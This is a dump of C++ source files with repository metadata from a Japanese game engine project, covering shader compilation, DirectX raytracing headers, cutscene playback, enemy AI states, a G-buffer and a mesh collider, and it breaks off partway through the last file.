"text": "#pragma once\n\nclass EventMovie;\n/// <summary>\n/// \n/// </summary>\nclass EndingScene :public GameObject\n{\npublic:\n\tEndingScene();\n\tvirtual ~EndingScene();\n\n\t/// <summary>\n\t/// 本開放。確保したものを開放するための関数。\n\t/// </summary>\n\tvirtual void Release() override;\n\n\t/// <summary>\n\t/// このオブジェクトの所持するゲームオブジェクト等を消すための関数。\n\t/// 面倒くさければRelease関数と同じでもよい。\n\t/// </summary>\n\tvirtual void OnDestroy() override;\n\n\tvoid Init(float clearTimer)\n\t{\n\t\tm_clearTimer = clearTimer;\n\t}\n\n\t/// <summary>\n\t/// NewGO時に即座に呼ばれる関数。\n\t/// コンストラクタの代わりに使おう。\n\t/// </summary>\n\tvoid Awake() override;\n\n\t/// <summary>\n\t/// スタート関数。\n\t/// </summary>\n\t/// <returns>trueを返さない限り、ずっとStartを呼び続ける</returns>\n\tbool Start() override;\n\n\t/// <summary>\n\t/// 更新。の前に呼ばれる更新。\n\t/// </summary>\n\tvoid PreUpdate() override;\n\t/// <summary>\n\t/// 更新。\n\t/// </summary>\n\tvoid Update() override;\n\t/// <summary>\n\t/// 更新。の後に呼ばれる更新。\n\t/// </summary>\n\tvoid PostUpdate() override;\n\n\t/// <summary>\n\t/// 描画。\n\t/// </summary>\n\tvoid Render() override;\n\n\t/// <summary>\n\t/// 手前に表示するやつの描画。\n\t/// </summary>\n\tvoid PostRender() override;\nprivate:\n\tEventMovie* m_movie;\n\n\tModelRender* m_player;\n\tModelRender* m_exit;\n\tModelRender* m_plane;\n\tModelRender* m_edBack;\n\tModelRender* m_edBack_cross;\n\n\tCSoundSource* m_esca;\n\tCSoundSource* m_gogogo;\n\tbool m_isTake_on = false;\n\tbool m_isFadeOut = false;\n\n\tfloat m_clearTimer = 0.f;\n};\n"
},
{
"alpha_fraction": 0.6540091633796692,
"alphanum_fraction": 0.6623156666755676,
"avg_line_length": 26.310184478759766,
"blob_id": "aeccc1a3640fb8c3245dbf195e06e36c62380a48",
"content_id": "7c3692e0aa9d025207ff6fb96f51074c9a23e15a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 6417,
"license_type": "no_license",
"max_line_length": 153,
"num_lines": 216,
"path": "/UsualEngineR/Graphics/Shader.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"Shader.h\"\n#include <stierr.h>\n#include <sstream>\n#include <fstream>\n#include <atlbase.h>\n\n\nnamespace UER\n{\n\tclass ShaderManager\n\t{\n\tprivate:\n\t\t\n\tpublic:\n\t\tShaderManager() {}\n\t\t~ShaderManager()\n\t\t{\n\t\t\tfor (auto d : m_shaderDict)\n\t\t\t{\n\t\t\t\td.second.blob->Release();\n\t\t\t}\n\t\t}\n\t\t\n\t\tID3D10Blob* Load(const wchar_t* filePath, const char* entryFuncName, const char* shaderModel)\n\t\t{\n\t\t\tstd::string funcName = entryFuncName;\n\t\t\tstd::wstring fip(funcName.begin(),funcName.end());\n\t\t\tfip += filePath;\n\n\t\t\tint hash = Util::MakeHash(fip.c_str());\n\t\t\tID3DBlob* res;\n\t\t\tm_loadMutex.lock();\n\t\t\tauto it = m_shaderDict.find(hash);\n\t\t\tif (it == m_shaderDict.end())\n\t\t\t{\n\t\t\t\tData data;\n\t\t\t\tm_shaderDict.insert(std::make_pair(hash, data));\n\t\t\t\tm_loadMutex.unlock();\n\n\t\t\t\tID3DBlob* blob;\n\t\t\t\tID3DBlob* errorBlob;\n#ifdef _DEBUG\n\t\t\t\t// Enable better shader debugging with the graphics debugging tools.\n\t\t\t\tUINT compileFlags = D3DCOMPILE_DEBUG | D3DCOMPILE_SKIP_OPTIMIZATION;\n#else\n\t\t\t\tUINT compileFlags = 0;\n#endif\n\t\t\t\tauto hr = D3DCompileFromFile(filePath, nullptr, D3D_COMPILE_STANDARD_FILE_INCLUDE, entryFuncName, shaderModel, compileFlags, 0, &blob, &errorBlob);\n\n\t\t\t\tif (FAILED(hr)) {\n\t\t\t\t\tif (hr == STIERR_OBJECTNOTFOUND) {\n\t\t\t\t\t\tstd::wstring errorMessage;\n\t\t\t\t\t\terrorMessage = L\"指定されたfxファイルが開けませんでした\";\n\t\t\t\t\t\terrorMessage += filePath;\n\t\t\t\t\t\tMessageBoxW(nullptr, errorMessage.c_str(), L\"エラー\", MB_OK);\n\t\t\t\t\t}\n\t\t\t\t\tif (errorBlob) {\n\t\t\t\t\t\tstatic char errorMessage[10 * 1024];\n\t\t\t\t\t\tsprintf_s(errorMessage, \"filePath : %s, %s\", \"hoge\", (char*)errorBlob->GetBufferPointer());\n\t\t\t\t\t\tMessageBoxA(NULL, errorMessage, \"シェーダーコンパイルエラー\", MB_OK);\n\t\t\t\t\t\treturn nullptr;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tm_shaderDict.at(hash).isLoaded = true;\n\t\t\t\tm_shaderDict.at(hash).blob = blob;\n\n\t\t\t\tres = blob;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tm_loadMutex.unlock();\n\t\t\t\tData& fd = m_shaderDict.at(hash);\n\t\t\t\twhile (!fd.isLoaded)\n\t\t\t\t{\n\t\t\t\t\tSleep(10);\n\t\t\t\t}\n\t\t\t\tres = fd.blob;\n\t\t\t}\n\n\t\t\treturn res;\n\t\t}\n\tprivate:\n\t\tstruct Data\n\t\t{\n\t\t\tbool isLoaded = false;\n\t\t\tID3D10Blob* blob = nullptr;\n\t\t};\n\t\tstd::mutex m_loadMutex;\n\t\tstd::map<int, Data> m_shaderDict;\n\t};\n\t\n\tstatic ShaderManager s_shaderManager;\n\n\tnamespace {\n\t\tconst char* g_vsShaderModelName = \"vs_5_0\";\t//頂点シェーダーのシェーダーモデル名。\n\t\tconst char* g_psShaderModelName = \"ps_5_0\";\t//ピクセルシェーダーのシェーダモデル名。\n\t\tconst char* g_csShaderModelName = \"cs_5_0\";\t//コンピュートシェーダーのシェーダーモデル名。\n\t}\n\tvoid Shader::Load(const wchar_t* filePath, const char* entryFuncName, const char* shaderModel)\n\t{\n\t//\tID3DBlob* errorBlob;\n\t//#ifdef _DEBUG\n\t//\t// Enable better shader debugging with the graphics debugging tools.\n\t//\tUINT compileFlags = D3DCOMPILE_DEBUG | D3DCOMPILE_SKIP_OPTIMIZATION;\n\t//#else\n\t//\tUINT compileFlags = 0;\n\t//#endif\n\t//\tauto hr = D3DCompileFromFile(filePath, nullptr, D3D_COMPILE_STANDARD_FILE_INCLUDE, entryFuncName, shaderModel, compileFlags, 0, &m_blob, &errorBlob);\n\t//\t\n\t//\tif (FAILED(hr)) {\n\t//\t\tif (hr == STIERR_OBJECTNOTFOUND) {\n\t//\t\t\tstd::wstring errorMessage;\n\t//\t\t\terrorMessage = L\"指定されたfxファイルが開けませんでした\";\n\t//\t\t\terrorMessage += filePath;\n\t//\t\t\tMessageBoxW(nullptr, errorMessage.c_str(), L\"エラー\", MB_OK);\n\t//\t\t\tstd::abort();\n\t//\t\t}\n\t//\t\tif (errorBlob) {\n\t//\t\t\tstatic char errorMessage[10 * 1024];\n\t//\t\t\tsprintf_s(errorMessage, \"filePath : %s, %s\", \"hoge\", (char*)errorBlob->GetBufferPointer());\n\t//\t\t\tMessageBoxA(NULL, errorMessage, \"シェーダーコンパイルエラー\", MB_OK);\n\t//\t\t\tstd::abort();\n\t//\t\t\treturn;\n\t//\t\t}\n\t//\t}\n\n\t\tm_blob = s_shaderManager.Load(filePath, entryFuncName, shaderModel);\n\t}\n\tvoid Shader::LoadPS(const wchar_t* filePath, const char* entryFuncName)\n\t{\n\t\tLoad(filePath, entryFuncName, g_psShaderModelName);\n\t}\n\tvoid Shader::LoadVS(const wchar_t* filePath, const char* entryFuncName)\n\t{\n\t\tLoad(filePath, entryFuncName, g_vsShaderModelName);\n\t}\n\tvoid Shader::LoadCS(const wchar_t* filePath, const char* entryFuncName)\n\t{\n\t\tLoad(filePath, entryFuncName, g_csShaderModelName);\n\t}\n\tvoid Shader::LoadRaytracing(const wchar_t* filePath)\n\t{\n\t\tstd::ifstream shaderFile(filePath);\n\t\tif (shaderFile.good() == false){\n\t\t\tstd::wstring errormessage = L\"シェーダーファイルのオープンに失敗しました。\\n\";\n\t\t\terrormessage += filePath;\n\t\t\tMessageBoxW( nullptr, errormessage.c_str(), L\"エラー\", MB_OK);\n\t\t\tstd::abort();\n\t\t}\n\t\n\t\tstd::stringstream strStream;\n\t\tstrStream << shaderFile.rdbuf();\n\t\tstd::string shader = strStream.str();\n\t\t//シェーダーのテキストファイルから、BLOBを作成する。\n\t\tCComPtr<IDxcLibrary> dxclib;\n\t\tauto hr = DxcCreateInstance(CLSID_DxcLibrary, IID_PPV_ARGS(&dxclib));\n\t\tif (FAILED(hr)) {\n\t\t\tMessageBox(nullptr, L\"DXCLIBの作成に失敗しました\", L\"エラー\", MB_OK);\n\t\t\tstd::abort();\n\t\t}\n\t\t//dxcコンパイラの作成。\n\t\tCComPtr<IDxcCompiler> dxcCompiler;\n\t\thr = DxcCreateInstance(CLSID_DxcCompiler, IID_PPV_ARGS(&dxcCompiler));\n\t\tif (FAILED(hr)) {\n\t\t\tMessageBox(nullptr, L\"dxcコンパイラの作成に失敗しました\", L\"エラー\", MB_OK);\n\t\t\tstd::abort();\n\t\t}\n\t\t//ソースコードのBLOBを作成する。\n\t\tuint32_t codePage = CP_UTF8;\n\t\tCComPtr< IDxcBlobEncoding> sourceBlob;\n\t\thr = dxclib->CreateBlobFromFile(filePath, &codePage, &sourceBlob);\n\t\tif (FAILED(hr)) {\n\t\t\tMessageBox(nullptr, L\"シェーダーソースのBlobの作成に失敗しました\", L\"エラー\", MB_OK);\n\t\t\tstd::abort();\n\t\t}\n\t\t//コンパイル。\n\t\tCComPtr<IDxcOperationResult> result;\n\t\thr = dxcCompiler->Compile(\n\t\t\tsourceBlob, // pSource\n\t\t\tfilePath, // pSourceName\n\t\t\tL\"\",\t\t// pEntryPoint\n\t\t\tL\"lib_6_3\", // pTargetProfile\n\t\t\tnullptr, 0, // pArguments, argCount\n\t\t\tnullptr, 0, // pDefines, defineCount\n\t\t\tnullptr, // pIncludeHandler\n\t\t\t&result); // ppResult\n\t\tif (SUCCEEDED(hr)) {\n\t\t\tresult->GetStatus(&hr);\n\t\t}\n\t\n\t\tif (FAILED(hr))\n\t\t{\n\t\t\tif (result)\n\t\t\t{\n\t\t\t\tCComPtr<IDxcBlobEncoding> errorsBlob;\n\t\t\t\thr = result->GetErrorBuffer(&errorsBlob);\n\t\t\t\tif (SUCCEEDED(hr) && errorsBlob)\n\t\t\t\t{\n\t\t\t\t\tstd::string errormessage = \"Compilation failed with errors:\\n%hs\\n\";\n\t\t\t\t\terrormessage += (const char*)errorsBlob->GetBufferPointer();\n\t\t\t\t\tMessageBoxA(nullptr, errormessage.c_str(), \"エラー\", MB_OK);\n\t\n\t\t\t\t}\n\t\t\t}\n\t\t\t// Handle compilation error...\n\t\t}\n\t\telse {\n\t\t\tresult->GetResult(&m_dxcBlob);\n\t\t}\n\t}\n\t\n\n\n}\n"
},
{
"alpha_fraction": 0.6675314903259277,
"alphanum_fraction": 0.6727205514907837,
"avg_line_length": 16.519479751586914,
"blob_id": "8d270ebe6e316253a9c87cab928139216b83fdae",
"content_id": "3b3494fc6882bd1b34423af4eee06c3010d2fbfa",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 3246,
"license_type": "no_license",
"max_line_length": 124,
"num_lines": 154,
"path": "/Game/EventMovie/EventMovie.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n/*\n\n\tstruct Marker\n\t{\n\t\tfloat time\n\t\tint nameNum\n\t\tchar name[nameNum+1] // +1はNULL文字分。\n\t}\n\tstruct Object\n\t{\n\t\tint id\n\t\tint nameNum\n\t\tchar name[nameNum+1]\n\t}\n\tstruct Frame\n\t{\n\t\tfloat time\n\t\tMatrix cameraMat\n\t\tMatrix objectMats[objectNum]\n\t}\n\n\tint markerNum\n\tMarker markers[markerNum]\n\t\n\tint objectNum\n\tObject objects[objectNum]\n\n\tint frameNum\n\tFrame frames[frameNum]\n\n*/\n\n\nusing ActorInitFunc = std::function<ModelRender* (const std::string&)>;\nusing EventListennerFunc = std::function<void(const std::string&)>;\n\n/// <summary>\n/// \n/// </summary>\nclass EventMovie :public GameObject\n{\npublic:\n\tstruct SEventMovieMarker\n\t{\n\t\tfloat time = 0.f;\n\t\tstd::string markerName;\n\t};\n\n\tstruct SEventMovieObject\n\t{\n\t\tstd::string objName;\n\t\tint id = -1;\n\t};\n\n\tstruct SEventMovieFrame\n\t{\n\t\tfloat time = 0.f;\n\t\tMatrix camMat;\n\t\tMatrix* objMats = nullptr;\n\t};\n\n\tstruct Matrix4x3\n\t{\n\t\tVector3 v[4];\n\t};\n\n\n\tEventMovie();\n\tvirtual ~EventMovie();\n\n\t/// <summary>\n\t/// 本開放。確保したものを開放するための関数。\n\t/// </summary>\n\tvirtual void Release() override;\n\n\t/// <summary>\n\t/// このオブジェクトの所持するゲームオブジェクト等を消すための関数。\n\t/// 面倒くさければRelease関数と同じでもよい。\n\t/// </summary>\n\tvirtual void OnDestroy() override;\n\n\t/// <summary>\n\t/// \n\t/// </summary>\n\t/// <param name=\"path\"></param>\n\t/// /// <param name=\"camera\"> メインカメラ </param>\n\t/// <param name=\"actorInitFunc\"> アクターを初期化する関数 引数の文字列はアクターの名前 戻り値はアクターのモデル このモデルに行列をぶち込んでいく</param>\n\t/// <param name=\"eventListennerFunc\"> animationの animetion event みたいなもの。これでアクターのアニメーションをさせたりフェードアウトさせたりする </param>\n\tvoid Init(const char* path,Camera* camera,const ActorInitFunc& actorInitFunc,const EventListennerFunc& eventListennerFunc);\n\n\t/// <summary>\n\t/// NewGO時に即座に呼ばれる関数。\n\t/// コンストラクタの代わりに使おう。\n\t/// </summary>\n\tvoid Awake() override;\n\n\t/// <summary>\n\t/// スタート関数。\n\t/// </summary>\n\t/// <returns>trueを返さない限り、ずっとStartを呼び続ける</returns>\n\tbool Start() override;\n\n\t/// <summary>\n\t/// 更新。の前に呼ばれる更新。\n\t/// </summary>\n\tvoid PreUpdate() override;\n\t/// <summary>\n\t/// 更新。\n\t/// </summary>\n\tvoid Update() override;\n\t/// <summary>\n\t/// 更新。の後に呼ばれる更新。\n\t/// </summary>\n\tvoid PostUpdate() override;\n\n\t/// <summary>\n\t/// 描画。\n\t/// </summary>\n\tvoid Render() override;\n\n\t/// <summary>\n\t/// 手前に表示するやつの描画。\n\t/// </summary>\n\tvoid PostRender() override;\n\n\tvoid SetOffset(const Vector3& v)\n\t{\n\t\tm_offset = v;\n\t}\n\n\tvoid Play() {\n\n\t}\n\nprivate:\n\n\tVector3 m_offset;\n\tCamera* m_camera = nullptr;\n\tEventListennerFunc m_eventListennerFunc;\n\n\tstd::vector<SEventMovieMarker> m_eventMovieMarker;\n\n\tstd::vector<ModelRender*> m_actors;\n\tstd::vector<SEventMovieFrame> m_frames;\n\tMatrix* m_objMats = nullptr;\n\n\tunsigned m_frameIndex = 0;\n\n\tdouble m_timer = 0.f;\n\n\tstd::map<int, bool> m_eventMap; //Is m_eventMovieMarker[\"key\"]'s callback called?\n};\n"
},
{
"alpha_fraction": 0.6704298853874207,
"alphanum_fraction": 0.6960486173629761,
"avg_line_length": 25.170454025268555,
"blob_id": "7606b1fba6d4b5701ff4ab893ce086d99820b219",
"content_id": "7b5bb0699d2f41e542d600a027e248e9ce0c442c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2693,
"license_type": "no_license",
"max_line_length": 77,
"num_lines": 88,
"path": "/UsualEngineR/Graphics/RaytracingEngine.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n\nnamespace UER\n{\n\t\n\tclass Model;\n\t\n\tusing ID3D12ResourcePtr = CComPtr<ID3D12Resource>;\n\tusing ID3D12RootSignaturePtr = CComPtr<ID3D12RootSignature>;\n\tusing ID3DBlobPtr = CComPtr<ID3DBlob>;\n\tusing ID3D12StateObjectPtr = CComPtr<ID3D12StateObject>;\n\tusing ID3D12DescriptorHeapPtr = CComPtr<ID3D12DescriptorHeap>;\n\n\t\n\t\n\tclass RaytracingEngine\n\t{\n\tpublic:\n\t\tstruct AccelerationStructureBuffers {\n\t\t\tID3D12Resource* pScratch = nullptr;\n\t\t\tID3D12Resource* pResult = nullptr;\n\t\t\tID3D12Resource* pInstanceDesc = nullptr;\n\t\t};\n\n\t\t/// <summary>\n\t\t/// レイトレのインスタンスデータ。\n\t\t/// </summary>\n\t\tstruct RaytracingInstance {\n\t\t\tD3D12_RAYTRACING_GEOMETRY_DESC geometoryDesc;\t//ジオメトリ情報。\n\t\t\tTexture* m_albedoTexture = nullptr;\t\t//アルベドテクスチャ。\n\t\t};\n\n\t\t/// <summary>\n\t\t/// レイトレーシングをディスパッチ。\n\t\t/// </summary>\n\t\t/// <param name=\"rc\">レンダリングコンテキスト</param>\n\t\tvoid Dispatch(RenderContext& rc);\n\t\t/// <summary>\n\t\t/// ジオメトリを登録。\n\t\t/// </summary>\n\t\t/// <param name=\"model\">モデル</param>\n\t\tvoid RegistGeometry(Model& model);\n\t\t/// <summary>\n\t\t/// ジオメトリの登録を確定。\n\t\t/// </summary>\n\t\tvoid CommitRegistGeometry(RenderContext& rc);\n\tprivate:\n\t\t/// <summary>\n\t\t/// パイプラインステートを作成。\n\t\t/// </summary>\n\t\t/// <param name=\"rc\"></param>\n\t\tvoid CreatePipelineState(RenderContext& rc);\n\t\t/// <summary>\n\t\t/// シェーダーテーブルを作成。\n\t\t/// </summary>\n\t\t/// <param name=\"rc\"></param>\n\t\tvoid CreateShaderTable(RenderContext& rc);\n\t\t/// <summary>\n\t\t/// BottomLevelASを構築。\n\t\t/// </summary>\n\t\t/// <param name=\"rc\"></param>\n\t\tvoid BuildBottomLevelAS(RenderContext& rc);\n\t\t/// <summary>\n\t\t/// TopLevelASを構築。\n\t\t/// </summary>\n\t\tvoid BuildTopLevelAS(RenderContext& rc, bool update);\n\t\t/// <summary>\n\t\t/// シェーダーリソースを作成。\n\t\t/// </summary>\n\t\tvoid CreateShaderResources();\n\tprivate:\n\t\t\n\t\tstd::vector<RaytracingInstance> m_instances;\t//レイトレーシングエンジンに登録するジオメトリ情報の配列。\n\t\tstd::vector< AccelerationStructureBuffers> m_bottomLevelASBuffers;\n\t\tAccelerationStructureBuffers m_topLevelASBuffers;\n\t\tID3D12StateObjectPtr m_pipelineState;\t\t\t\t\t\t\t//パイプラインステート\n\t\tID3D12RootSignaturePtr m_emptyRootSignature;\n\t\tID3D12DescriptorHeapPtr m_srvUavHeap;\n\t\tID3D12ResourcePtr m_outputResource;\t\t\t\t\t\t\t\t//レイトレースの結果の出力先。\n\t\tID3D12ResourcePtr m_shaderTable;\t\t\t\t\t\t\t\t//シェーダーテーブル。\n\t\tuint32_t m_shaderTableEntrySize = 0;\n\t\tint m_numRayGenShader = 0;\n\t\tint m_numMissShader = 0;\n\t\tint m_numHitShader = 0;\n\t};\n\n}\n"
},
{
"alpha_fraction": 0.7216147780418396,
"alphanum_fraction": 0.7300252318382263,
"avg_line_length": 20.23214340209961,
"blob_id": "6f1c17b283fa56717e4daba93feec68ca24689f8",
"content_id": "ce8b60eac1f1cff293bf1f2d35b4bf299308dcf4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1189,
"license_type": "no_license",
"max_line_length": 63,
"num_lines": 56,
"path": "/Game/Enemy/State/EnemyExplosionKamikazeState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"EnemyExplosionKamikazeState.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"GameManager.h\"\n\nEnemyExplosionKamikazeState::EnemyExplosionKamikazeState()\n{\n}\n\nEnemyExplosionKamikazeState::~EnemyExplosionKamikazeState()\n{\n}\n\nvoid EnemyExplosionKamikazeState::Enter(IEnemy* e)\n{\n}\n\nIEnemyState* EnemyExplosionKamikazeState::Update(IEnemy* e)\n{\n\tauto& p = GameManager::GetInstance().m_player;\n\tauto& ppos = p->GetPosition();\n\tauto& epos = e->GetPosition();\n\tauto vecToPlayer = ppos - epos;\n\tconst float exprange = 10.0f;\n\n\tm_bombTimer += gameTime()->GetDeltaTime();\n\tconst float maxTime = 5.0f;\n\n\tif (vecToPlayer.Length() < exprange or m_bombTimer > maxTime){\n\t\t\n\t\treturn e->GetState(TO_INT(IEnemy::EnState::enAttackA));\n\t}\n\n\tMove(e);\n\n\treturn this;\n}\n\nvoid EnemyExplosionKamikazeState::Exit(IEnemy* e)\n{\n}\n\nvoid EnemyExplosionKamikazeState::Move(IEnemy* e)\n{\n\tauto& p = GameManager::GetInstance().m_player;\n\tauto& ppos = p->GetPosition();\n\tauto& epos = e->GetPosition();\n\tauto vecToPlayer = ppos - epos;\n\tvecToPlayer.Normalize();\n\n\tconst float walkSpeed = 100.0f;\n\tVector3 moveSpeed = vecToPlayer * walkSpeed;\n\n\te->SetVelocity(moveSpeed);\n}\n"
},
{
"alpha_fraction": 0.6660212874412537,
"alphanum_fraction": 0.6737657189369202,
"avg_line_length": 22.477272033691406,
"blob_id": "79a564c56bb12ae6ee323c6ef332fe84f81ddfee",
"content_id": "81ac0e60a9b058c4fea6be3503caa84f3e2915bd",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1225,
"license_type": "no_license",
"max_line_length": 59,
"num_lines": 44,
"path": "/Game/Enemy/State/BossFatmanState/Boss_FatmanChargeBeamState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n#include \"Enemy/State/IEnemyState.h\"\nclass Beam;\n\nclass Boss_FatmanChargeBeamState final : public IEnemyState\n{\npublic:\n\tBoss_FatmanChargeBeamState();\n\t~Boss_FatmanChargeBeamState();\n\tvoid Enter(IEnemy* e) override;\n\tIEnemyState* Update(IEnemy* e) override;\n\tvoid Exit(IEnemy* e) override;\nprivate:\n\t/// <summary>\n\t/// チャージする。\n\t/// </summary>\n\t/// <returns>チャージできたかどうか。</returns>\n\tbool Charge(IEnemy* e);\n\t/// <summary>\n\t/// ビームの当たり判定。\n\t/// </summary>\n\t/// <param name=\"e\">IEnemyを継承した敵の情報。</param>\n\t/// <returns>ビームに当たっているかどうか。</returns>\n\tbool BeamJudge(IEnemy* e, int ikNo);\nprivate:\n\tVector3\t\t\tm_position = Vector3::Zero;\n\tfloat\t\t\tm_damage = 0.f;\n\tfloat\t\t\tm_chargeTimer = 0.f;\n\tfloat\t\t\tm_endBeamTimer = 0.f;\n\tstd::vector< Beam*> m_beams;\n\n\tconst float\t\tm_chargeTime = 4.0f;\n\n\tbool\t\t\tm_isSetPos = false;\t\t\t//ビームを撃つ方向を設定。固定だから一度だけ設定する。\n\tbool\t\t\tm_isKnockBack = false;\t\t\t\n\tIK*\t\t\t\tm_ik[2];\t\t\t\t\t//IK。左右のIKの情報が格納されている。\n\tenum IK{\n\t\tRight,\n\t\tLeft,\n\t\tIKNum\n\t};\n\tCSoundSource* m_beamSE = nullptr;\n\tbool m_isBeamSound = false;\n};\n"
},
{
"alpha_fraction": 0.7532467246055603,
"alphanum_fraction": 0.7584415674209595,
"avg_line_length": 23.125,
"blob_id": "1bca9a929c86cd3726680ef2e8a3dc58a77f60aa",
"content_id": "ad1fd7a02f9657930c1e54db7ef0ede4bcf639a5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 385,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 16,
"path": "/Game/Enemy/State/MeleeBossState/EnemyTeleportationState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"../IEnemyState.h\"\n\nclass EnemyTeleportationState : public IEnemyState\n{\npublic:\n\tEnemyTeleportationState();\n\tvirtual ~EnemyTeleportationState() override;\n\tvirtual void Enter(IEnemy* e) override;\n\tvirtual IEnemyState* Update(IEnemy* e) override;\n\tvirtual void Exit(IEnemy* e) override;\nprivate:\n\t//stamina\n\tconst float m_cost = 30.f;\n\tbool m_canExecute = true;\n};"
},
{
"alpha_fraction": 0.7465564608573914,
"alphanum_fraction": 0.7548209428787231,
"avg_line_length": 23.266666412353516,
"blob_id": "63b90889df9d92830d30259bb89d16a37a2634ba",
"content_id": "eafaf5e8c38bf2be18c809587fde625cf8d4877a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 363,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 15,
"path": "/Game/Enemy/State/MeleeBossState/EnemyMeleeOverheatState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"../IEnemyState.h\"\n\nclass EnemyMeleeOverheatState : public IEnemyState\n{\npublic:\n\tEnemyMeleeOverheatState();\n\tvirtual ~EnemyMeleeOverheatState() override;\n\tvirtual void Enter(IEnemy* e) override;\n\tvirtual IEnemyState* Update(IEnemy* e) override;\n\tvirtual void Exit(IEnemy* e) override;\nprivate:\n\tfloat m_timer = 0.f;\n\tfloat m_time = 4.5f;\n};"
},
{
"alpha_fraction": 0.639553427696228,
"alphanum_fraction": 0.6411483287811279,
"avg_line_length": 12.083333015441895,
"blob_id": "ea08b28d5791b37cad4a50b9649c15e2c8cabda0",
"content_id": "2e14072c3fbd8dbbd3c5a48ebac5d5f168920b5e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 627,
"license_type": "no_license",
"max_line_length": 56,
"num_lines": 48,
"path": "/UsualEngineR/Graphics/PreRender/GBuffer.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n\n\nnamespace UER\n{\n\tenum class EGBufferKind : INT8\n\t{\n\t\tDiffuse,\n\t\tDepth,\n\t\tNormal,\n\t\tSpecular,\n\t\tTangent,\n\n\t\t//Move,\n\n\t\tNumKind,\n\t};\n\n\tclass GBuffer\n\t{\n\tpublic:\n\n\t\tvoid Init();\n\n\t\tvoid BegineRender(RenderContext& rc);\n\t\tvoid EndRender(RenderContext& rc);\n\t\tvoid Draw(RenderContext& rc);\n\n\t\t/// <summary>\n\t\t/// \n\t\t/// </summary>\n\t\t/// <returns></returns>\n\t\tRenderTarget* GetGBuffer()\n\t\t{\n\t\t\treturn m_gBuffer;\n\t\t}\n\n\t\tRenderTarget& GetGBuffer(EGBufferKind k)\n\t\t{\n\t\t\treturn m_gBuffer[TO_INT(k)];\n\t\t}\n\tprivate:\n\t\tRenderTarget m_gBuffer[TO_INT(EGBufferKind::NumKind)];\n\n\t\tstd::vector<GameObject*> m_renderObjects;\n\t};\n}"
},
{
"alpha_fraction": 0.6505703330039978,
"alphanum_fraction": 0.657414436340332,
"avg_line_length": 23.137615203857422,
"blob_id": "fd3a05bd1dd8b6447002b0a2332455c37ab4a322",
"content_id": "517eb87fd9ad48596b1d9e8c788cdd1d0e7c6fbd",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2814,
"license_type": "no_license",
"max_line_length": 94,
"num_lines": 109,
"path": "/UsualEngineR/Physics/MeshCollider.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"Physics/MeshCollider.h\"\n\n\nnamespace UER\n{\n\tMeshCollider::MeshCollider()\n\t{\n\t}\n\n\n\tMeshCollider::~MeshCollider()\n\t{\n\n\t}\n\n\tvoid MeshCollider::Release()\n\t{\n\t\tauto ptr = m_meshShape.release();\n\t\tdelete ptr;\n\t\tauto ptr1 = m_stridingMeshInterface.release();\n\t\tdelete ptr1;\n\t\tfor (auto& p : m_indexBufferArray)\n\t\t{\n\t\t\tauto rp = p.release();\n\t\t\tdelete rp;\n\t\t}\n\t\tfor (auto& p : m_vertexBufferArray)\n\t\t{\n\t\t\tauto rp = p.release();\n\t\t\tdelete rp;\n\t\t}\n\t\tm_indexBufferArray.clear();\n\t\tm_vertexBufferArray.clear();\n\t}\n\n\t/*!\n\t * @brief\tCSkinModelからメッシュコライダーを生成。\n\t *@param[in]\tmodel\t\tスキンモデル。\n\t */\n\tvoid MeshCollider::CreateFromSkinModel(const Model& model, const Matrix* offsetMatrix)\n\t{\n\t\tMatrix mBias = g_matIdentity;\n\t\tif (model.GetUpAxis() == enUpAxisZ) {\n\t\t\t//Z-up\n\t\t\tmBias.MakeRotationX(Math::PI * -0.5f);\n\t\t}\n\t\t//mBias.MakeRotationX(Math::PI * -0.5f);\n\t\tif (offsetMatrix != nullptr) {\n\t\t\tmBias = mBias * (*offsetMatrix);\n\t\t}\n\t\tm_stridingMeshInterface = std::make_unique<btTriangleIndexVertexArray>();\n\n\t\tmodel.QueryMeshsFromTkm([&](const auto & mesh) {\n\n\t\t\t//頂点バッファを作成。\n\t\t\t{\n\t\t\t\tVertexBufferPtr vertexBuffer = std::make_unique<VertexBuffer>();\n\t\t\t\tVector3 pos;\n\t\t\t\tfor (const auto& vert: mesh.vertexBuffer) {\n\t\t\t\t\tpos = 